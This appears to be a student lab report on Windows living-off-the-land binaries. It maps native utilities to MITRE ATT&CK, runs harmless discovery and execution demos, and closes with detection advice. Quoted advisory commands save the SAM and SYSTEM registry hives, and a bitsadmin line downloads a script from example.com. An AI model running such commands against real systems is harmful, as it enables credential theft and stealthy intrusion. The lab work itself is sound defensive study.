Repository navigation
Week03
| Binary / Full Path | Legitimate Purpose | Abuse Method | MITRE ATT&CK ID | Advisory Reference / Paraphrase |
|---|---|---|---|---|
C:\Windows\System32\cmd.exe |
Windows command-line interpreter used to execute commands and batch files. | Attackers can use the native command shell to execute discovery commands, scripts, and other programs without introducing a custom command interpreter. | T1059.003 — Windows Command Shell | The Volt Typhoon advisory states that actors use hands-on-keyboard activity through the command line and other native tools. Its observed-command table includes cmd to open a command prompt. NSA/CISA
|
C:\Windows\System32\wbem\WMIC.exe |
Command-line interface for Windows Management Instrumentation. | Can query processes, services, volumes, hardware, and other system information. Attackers can use it for discovery and WMI-based execution. | T1047 — Windows Management Instrumentation | The advisory observed wmic process get name,processid and explains that it lists processes and PIDs, potentially identifying PIDs needed for subsequent operations. ACSC
|
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Windows scripting and automation environment. | Attackers can execute commands/scripts, perform discovery, query logs, and automate post-compromise activity. | T1059.001 — PowerShell | The advisory states that Volt Typhoon used PowerShell and documents commands that extracted Security Event ID 4624 logon events to files. It also maps PowerShell activity to T1059.001. ACSC |
C:\Windows\System32\mshta.exe |
Executes Microsoft HTML Application (HTA) files. | Can be abused as a trusted proxy for executing script-based code. | T1218.005 — System Binary Proxy Execution: Mshta | The joint LOTL guidance lists Mshta.exe as a Windows execution LOLBin and explains that it executes Microsoft HTML Applications. ACSC
|
C:\Windows\System32\net.exe |
Manages Windows users, groups, shares, services, and network resources. | Can enumerate users, groups, domain accounts, shares, and services. | T1087.001 — Local Account / T1087.002 — Domain Account / other context-specific discovery | The Volt Typhoon advisory observed net user, which lists user accounts. It also documents net user/group/use and net start among the actor's LOTL commands. NSA/CISA
|
C:\Windows\System32\netstat.exe |
Displays active network connections, listening ports, and network statistics. | Can identify active connections, listening services, remote systems, and potentially useful network relationships. | T1049 — System Network Connections Discovery | The advisory lists netstat -ano among Volt Typhoon's observed LOTL commands. NSA/CISA
|
C:\Windows\System32\tasklist.exe |
Displays currently running processes. | Attackers can identify running applications, security software, services, and processes of interest. | T1057 — Process Discovery | The advisory specifically states that Volt Typhoon executed tasklist /v to gather a detailed process listing. NSA/CISA
|
C:\Windows\System32\whoami.exe |
Displays the current user, groups, privileges, and security identifier. | Used to determine the compromised account's identity, privileges, and security context. | T1033 — System Owner/User Discovery | The advisory lists whoami among the LOTL tools used by Volt Typhoon for system/user discovery. NSA/CISA
|
C:\Windows\System32\systeminfo.exe |
Displays Windows operating-system, hardware, and system configuration information. | Used to profile the host, including OS version, hostname, hardware, domain/workgroup, and other configuration information. | T1082 — System Information Discovery | The advisory lists systeminfo among Volt Typhoon's observed LOTL commands and identifies system information discovery as a technique used by the actors. ACSC
|
C:\Windows\System32\ntdsutil.exe |
Legitimate Active Directory database-management utility. | Can be abused to copy the Active Directory NTDS.dit database and associated SYSTEM registry hive from a domain controller. |
T1003.003 — OS Credential Dumping: NTDS | The advisory describes Volt Typhoon using WMIC to execute ntdsutil to copy NTDS.dit and the SYSTEM registry hive from volume shadow copies. ACSC
|
C:\Windows\System32\reg.exe |
Command-line utility for querying and modifying the Windows Registry. | Can query sensitive configuration and save registry hives containing credential material. | T1012 — Query Registry / T1552.002 — Credentials in Registry | The advisory lists reg query and reg save among Volt Typhoon's observed commands. It specifically documents commands such as reg save hklm\sam ss.dat and reg save hklm\system sy.dat. NSA/CISA
|
C:\Windows\System32\vssadmin.exe |
Manages Windows Volume Shadow Copies. | Attackers can use shadow copies to access files that are normally locked, including credential databases on domain controllers. | T1006 — Direct Volume Access | The Volt Typhoon advisory explains that volume shadow copies contain NTDS.dit and the SYSTEM hive and describes their use in obtaining domain credentials. ACSC
|
C:\Windows\System32\netsh.exe |
Configures Windows networking and firewall settings. | Can display/modify firewall settings and create port-proxy configurations that redirect traffic. | T1562.004 — Impair Defenses: Disable or Modify System Firewall / T1090.001 — Internal Proxy | The advisory documents netsh interface portproxy activity and states that Volt Typhoon used a PortProxy registry modification to redirect traffic to its proxy infrastructure. ACSC
|
C:\Windows\System32\certutil.exe |
Manages certificates and certificate-authority functions. | Can be abused for file manipulation, encoding/decoding, and transfer activity while appearing to be a legitimate Windows utility. | T1105 — Ingress Tool Transfer | The Volt Typhoon advisory lists certutil among its LOTL discovery tools, while the joint LOTL guidance identifies certutil.exe as a LOLBin that can be abused for file transfer/obfuscation. NSA/CISA
|
C:\Windows\System32\ldifde.exe |
Imports and exports Active Directory information using LDAP Data Interchange Format. | Can be used to query/export large amounts of Active Directory information for reconnaissance. | T1018 — Remote System Discovery / context-dependent AD discovery | The advisory lists ldifde.exe and specifically observed ldifde.exe -f c:\windows\temp\<filename>.txt -p subtree, which performs a subtree directory export. NSA/CISA
|
C:\Windows\System32\dsquery.exe |
Queries Active Directory directory-service objects. | Can enumerate domain users, computers, groups, organizational units, and other AD objects. | T1018 / T1087 / T1069, depending on query | The joint LOTL guidance identifies directory-query utilities as discovery LOLBins; the exact ATT&CK mapping depends on the object being queried. ACSC |
C:\Windows\System32\quser.exe |
Displays information about users logged onto the system. | Used to identify active user sessions and potentially discover privileged users currently logged in. | T1033 — System Owner/User Discovery | The Volt Typhoon advisory specifically documents quser and query user for obtaining user-account/session information. NSA/CISA
|
C:\Windows\System32\query.exe |
Queries Windows session and system information. |
query user can enumerate active interactive user sessions and session IDs. |
T1033 — System Owner/User Discovery | The advisory's observed commands include quser query user and explains that the command displays user-session information useful for identifying active users/sessions. ACSC
|
|
Multiple LOLBins appear in both advisories, withCommon examples of LOLBins include PowerShell, CertUtil, Regsvr32, Mshta, WMIC, and PsExec being particularly clear overlaps.State-sponsored actors favor LOLBins because the tools are already present on the victim's Windows systems, are digitally signed and normally trusted, and can perform administrative functions without introducing obvious third-party malware. This allows attackers to blend malicious activity with legitimate administration, reduce the number of new files placed on disk, and potentially avoid security controls that focus on unknown executables. CISA and its partners specifically note that LOTL allows actors to blend into normal system and network activity and that legitimate LOLBins possess trusted attributes such as Microsoft signatures and hashes.
The term "living off the land" describes an adversary using resources already available within the victim environment rather than bringing a large collection of external tools. On Windows this commonly means abusing native executables, scripting engines, management interfaces, services, and administrative utilities. The "land" is the victim's existing computing environment, and "living off" it means exploiting those existing resources for malicious purposes.The joint guide describes Windows LOTL as relying on native tools, services and features because they are ubiquitous and generally trusted.
### Command
whoami /allThe “whoami /all” command revealed the identity and security context of the current account. The output showed the username and the SID. The Groups section showed membership for the account. The Privileges section showed available privileges. This information helps an attacker determine whether the compromised account has administrative privileges and what actions may be available without additional privilege escalation.
T1033 — System Owner/User Discovery
The LOTL guide specifically identifies whoami.exe for user/group/privilege discovery.
systeminfo“systeminfo.exe” revealed detailed information about the Windows host, including the hostname, Windows version/build, system manufacturer/model, processor architecture, and domain/workgroup. An attacker could use this information to determine the operating system version, identify whether the system is likely physical or virtual, identify potential vulnerabilities associated with an older build, and determine whether the host belongs to an Active Directory domain.
T1082 — System Information Discovery
The advisory explicitly maps systeminfo.exe to T1082.
netstat -ano“netstat -ano” displayed active network connections and listening ports. For example, the output contained port addresses with port IDs`. An attacker could correlate a port IDs with a process to determine which applications communicate externally, identify listening services, and discover potentially useful internal or external connections.
T1049 — System Network Connections Discovery
The advisory specifically says netstat.exe can enumerate TCP connections and listening ports.
tasklist /v“tasklist /v” displays currently running processes along with detailed information such as image name, PID, session information, memory usage and user/session information. The output included processes with process IDs/PIDs. An attacker can use this information to identify security software, administrative applications, databases, remote-access software and other high-value processes.
T1057 — Process Discovery
The LOTL guide maps tasklist.exe to process discovery, software discovery and service discovery.
wmic process“wmic process” displayed running processes and their process IDs. Although hard to see from the screenshot, the output included active processes with their IDs. An attacker can use the process/PID relationship to identify processes of interest for subsequent operations. The Volt Typhoon advisory specifically describes this command as potentially being used to find PIDs needed for other operations such as memory dumping.
T1047 — Windows Management Instrumentation
wmic.exe was available on this Windows VM used for class, however the command might not always be present. The advisory documents the command and its use by Volt Typhoon.
net usernet localgroup administrators"net user" enumerated local user accounts, while "net localgroup administrators" identified accounts belonging to the local Administrators group. An attacker could use this information to identify privileged accounts and determine which identities may provide an avenue for privilege escalation or lateral movement.
Account Discovery: Domain Account — T1078.002
The LOTL advisory groups net.exe under in its table.
### Command
query userquser“query user” displayed active user sessions on the Windows system. The output showed Username, session ID, session state, and login time. An attacker can use this information to determine which users are currently logged in and potentially identify privileged or high-value interactive sessions.
T1033 — System Owner/User Discovery
The Volt Typhoon advisory explicitly describes quser/query user as displaying information about active users and sessions.
Route print“Route print” revealed the host's network configuration. The output showed IPv4 address, subnet mask, default gateway, DNS server, and DNS suffix. An attacker could use these fields to determine the host's network segment, identify the gateway and DNS infrastructure, and establish information useful for subsequent network reconnaissance or lateral movement.
T1016 — System Network Configuration Discovery
The joint guidance would correlate with route.exe being used means of obtaining network configuration and DNS information.
netuser
netuser.exe revealed the most directly useful reconnaissance information for planning lateral movement because it exposed the account names and with specific entries using the netuser command, groups are able to be found which can help when planning to gain lateral movement potentially from specific or group accounts. This information helps an attacker understand the actual usable names for accounts within the network.
systeminfo.exe is an excellent secondary answer because it identifies the exact system version allowing for the usable exploits to be matched with those present on the current Windows version used.
Basic HTML Script Used:
<html>
<head>
<title>SEC335 LOLBin Lab</title>
<HTA:APPLICATION ID="SEC335Demo">
<script language="VBScript">
MsgBox "SEC335 LOLBin demonstration - mshta.exe"
</script>
</head>
<body>
SEC335 mshta demonstration
</body>
</html>Run:
mshta.exe C:\temp\lolbin\demo.htamshta.exe is a legitimate Microsoft HTML Application host. In this demonstration it executed a locally created harmless HTA file. The security significance is that the executable is trusted Windows software, while the content it processes can contain scripting functionality. An attacker can abuse the same execution path to run malicious script content, which is why defenders should monitor unusual mshta.exe executions and their command-line arguments.
T1218.005 — System Binary Proxy Execution: Mshta
The joint guide explicitly maps mshta.exe to this sub-technique.
Create Document
echo SEC335-LOLBIN-TEST > C:\temp\lolbin\original.txtEncode it:
certutil -encode C:\temp\lolbin\original.txt C:\temp\lolbin\encoded.txtDecode it:
certutil -decode C:\temp\lolbin\encoded.txt C:\temp\lolbin\decoded.txtVerify:
type C:\temp\lolbin\decoded.txtcertutil.exe legitimately manages certificates but also contains functionality for manipulating encoded files. In the demonstration it encoded and decoded a harmless text file. An attacker can abuse this capability to transform or transfer data while using a legitimate Microsoft binary. The LOTL guidance specifically identifies certutil.exe as capable of file upload/download and obfuscation activity.
T1105 — Ingress Tool Transfer
netsh advfirewall show allprofilesnetsh.exe is a legitimate Windows network configuration utility. The command displayed firewall configuration without changing it. Attackers can abuse the same utility to modify firewall configuration or establish port forwarding. The LOTL guide specifically identifies netsh interface portproxy and associates it with proxying and firewall-defense modification. )
T1562.004 — Impair Defenses: Disable or Modify System Firewall
Or, if applicable:
T1090 — Proxy
cmd.exe /c "echo SEC335 command shell demonstration"cmd.exe is the native Windows command interpreter. The demonstration shows that a process can invoke another command through the Windows shell. Attackers can use the same mechanism to execute discovery commands, scripts and other programs. The LOTL guidance specifically lists cmd.exe among Windows execution tools.
T1059.003 — Windows Command Shell
MITRE describes T1059.003 as abuse of the Windows command shell for command execution.
powershell.exe -NoProfile -Command "Write-Output 'SEC335 PowerShell LOLBin demonstration'"PowerShell is a legitimate Windows scripting and automation environment. The command executes a simple local message and does not download or modify anything. The same interpreter can execute administrative scripts and therefore provides significant flexibility to an attacker. The LOTL guidance explicitly identifies PowerShell as an execution LOLBin.
T1059.001 — PowerShell
bitsadmin /transfer myDownloadJob /download /priority normal http://example.com C:\temp\sec335_test_lavalette.ps1'"bitsadmin is used as a tool to manage background file downloads and uploads. BITS (Background Intelligent Transfer Service) downloads the file using standard administrative protocols, hiding the network activity inside normal background tasks. Although in the example I download a fake file from the http://example.com website, an attacker would use this for possibly sneaking malicious files onto a device.
T1197 - BITS Jobs
certutil.exe can be abused for file transfer. It is not accurate to say that it is guaranteed to bypass firewall alerts; a firewall can still detect its network traffic. The security advantage is that the activity originates from a legitimate, Microsoft-signed Windows binary rather than an obviously unknown downloader. The LOTL guidance specifically identifies certutil.exe and ldifde.exe as LOLBins that can be used to upload/download and obfuscate files.
regsvr32.exe can be abused to process scriptlet content through the Windows Script Component mechanism. A malicious scriptlet can cause code execution through the trusted Regsvr32 process. In some attack patterns, the scriptlet is retrieved remotely, allowing the attacker to avoid placing a conventional executable payload on disk. MITRE classifies this as T1218.010, System Binary Proxy Execution: Regsvr32.
MSBuild is trusted Microsoft build infrastructure and can process project files containing executable build tasks. Therefore, an attacker who can supply a crafted project can potentially obtain code execution through a legitimate signed binary. Development environments are particularly exposed because MSBuild has a legitimate purpose there, making blanket blocking difficult.
This lab demonstrated how Living off the Land Binaries (LOLBins) can be used to perform reconnaissance, execution, file manipulation, and other activities by using legitimate Windows utilities already present on a system. While these programs have legitimate administrative purposes, threat actors can abuse the same tools after gaining access to a Windows system.
The discovery portion of the lab demonstrated the use of whoami.exe, systeminfo.exe, netstat.exe, tasklist.exe, wmic.exe, net.exe, query.exe, and route.exe. These utilities can provide information about users, privileges, running processes, network connections, active sessions, and system configuration.
The execution portion demonstrated mshta.exe, certutil.exe, netsh.exe, cmd.exe, powershell.exe, and bitsadmin.exe. These utilities can also be abused for code execution, file manipulation, file transfer, or modification of system configuration.
| LOLBin | Binary Path | Activity | MITRE ATT&CK |
|---|---|---|---|
whoami.exe |
C:\Windows\System32\whoami.exe |
Identified the current user, SID, groups, and privileges | T1033 - System Owner/User Discovery |
systeminfo.exe |
C:\Windows\System32\systeminfo.exe |
Collected operating system and hardware information | T1082 - System Information Discovery |
netstat.exe |
C:\Windows\System32\netstat.exe |
Displayed active connections and listening ports | T1049 - System Network Connections Discovery |
tasklist.exe |
C:\Windows\System32\tasklist.exe |
Enumerated running processes | T1057 - Process Discovery |
WMIC.exe |
C:\Windows\System32\wbem\WMIC.exe |
Enumerated processes and process IDs through WMI | T1057 - Process Discovery / T1047 - Windows Management Instrumentation |
net.exe |
C:\Windows\System32\net.exe |
Enumerated users and local administrator group membership | T1087.001 - Account Discovery: Local Account / T1069.001 - Permission Groups Discovery: Local Groups |
query.exe |
C:\Windows\System32\query.exe |
Displayed active users and sessions | T1033 - System Owner/User Discovery |
route.exe |
C:\Windows\System32\route.exe |
Displayed routing and network configuration | T1016 - System Network Configuration Discovery |
mshta.exe |
C:\Windows\System32\mshta.exe |
Executed an HTA file | T1218.005 - System Binary Proxy Execution: Mshta |
certutil.exe |
C:\Windows\System32\certutil.exe |
Encoded and decoded a test file | Context-dependent; can support file manipulation, obfuscation, or transfer |
netsh.exe |
C:\Windows\System32\netsh.exe |
Displayed Windows Firewall configuration | T1562.004 - Impair Defenses: Disable or Modify System Firewall |
cmd.exe |
C:\Windows\System32\cmd.exe |
Executed commands through the Windows command shell | T1059.003 - Windows Command Shell |
powershell.exe |
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Executed a PowerShell command | T1059.001 - PowerShell |
bitsadmin.exe |
C:\Windows\System32\bitsadmin.exe |
Demonstrated a BITS file-transfer operation | T1197 - BITS Jobs |
whoami /all
systeminfo
netstat -ano
tasklist /v
wmic process
net usernet localgroup administrators
### Command
query userquser
Route print
Basic HTML Script Used:
<html>
<head>
<title>SEC335 LOLBin Lab</title>
<HTA:APPLICATION ID="SEC335Demo">
<script language="VBScript">
MsgBox "SEC335 LOLBin demonstration - mshta.exe"
</script>
</head>
<body>
SEC335 mshta demonstration
</body>
</html>Run:
mshta.exe C:\temp\lolbin\demo.hta
Create Document
echo SEC335-LOLBIN-TEST > C:\temp\lolbin\original.txtEncode it:
certutil -encode C:\temp\lolbin\original.txt C:\temp\lolbin\encoded.txtDecode it:
certutil -decode C:\temp\lolbin\encoded.txt C:\temp\lolbin\decoded.txtVerify:
type C:\temp\lolbin\decoded.txt
netsh advfirewall show allprofiles
cmd.exe /c "echo SEC335 command shell demonstration"
powershell.exe -NoProfile -Command "Write-Output 'SEC335 PowerShell LOLBin demonstration'"
bitsadmin /transfer myDownloadJob /download /priority normal http://example.com C:\temp\sec335_test_lavalette.ps1'"Defenders should monitor for unusual execution of Windows utilities, especially when the utilities are executed by unexpected parent processes, unusual users, or from unusual locations.
Important indicators include:
-
mshta.exeexecuting HTA files from temporary or user-writable directories. -
powershell.exeexecuting unexpected commands or scripts. -
cmd.exebeing launched by an unusual parent process. -
wmic.exebeing used to enumerate processes or system information. -
certutil.exebeing used with unusual encoding or decoding operations. -
bitsadmin.execreating unexpected BITS jobs or transferring files. -
netsh.exemodifying firewall or network configuration. -
net.exebeing used to enumerate users or privileged groups. - Multiple discovery commands being executed within a short period.
- LOLBins being launched by unexpected parent processes.
- LOLBins being executed from unusual locations.
- Suspicious command-line arguments associated with otherwise legitimate Windows utilities.
A single LOLBin execution does not automatically indicate malicious activity. Defenders should examine the user, parent process, command line, timing, frequency, network activity, and other surrounding events.
-
Enable process creation logging and command-line auditing to identify which programs were executed and what arguments were supplied.
-
Monitor PowerShell activity using PowerShell logging and endpoint detection capabilities.
-
Use EDR solutions to identify suspicious parent-child process relationships and unusual LOLBin activity.
-
Monitor unusual executions of
mshta.exe,wmic.exe,certutil.exe,bitsadmin.exe,netsh.exe, and other commonly abused Windows utilities. -
Apply least-privilege principles to reduce the number of users who can perform administrative actions.
-
Monitor unexpected changes to Windows Firewall and network configuration.
-
Monitor BITS jobs and unexpected file transfers.
-
Establish a baseline of normal administrative activity so abnormal LOLBin usage can be identified.
-
Use application control or allow-listing where appropriate.
-
Correlate endpoint, authentication, and network telemetry instead of relying on a single command as evidence of compromise.
net.exe or ipconfig.exe can be difficult to detect from standard logging alone because both are extremely common legitimate administrative utilities. A single execution does not necessarily indicate malicious behavior. The challenge is therefore behavioral rather than binary identification. Defenders need command-line logging, parent-process information, user context, host role, and frequency/baseline information to distinguish normal administration from reconnaissance.
Highest to Lowest Priority:
- Priority 1 — high-risk execution/proxy tools
- Priority 2 — download/transfer tools
- Priority 3 — discovery tools
- Priority 4 — administrative/persistence tools
(The exact priority should then be adjusted based on what your organization actually permits.)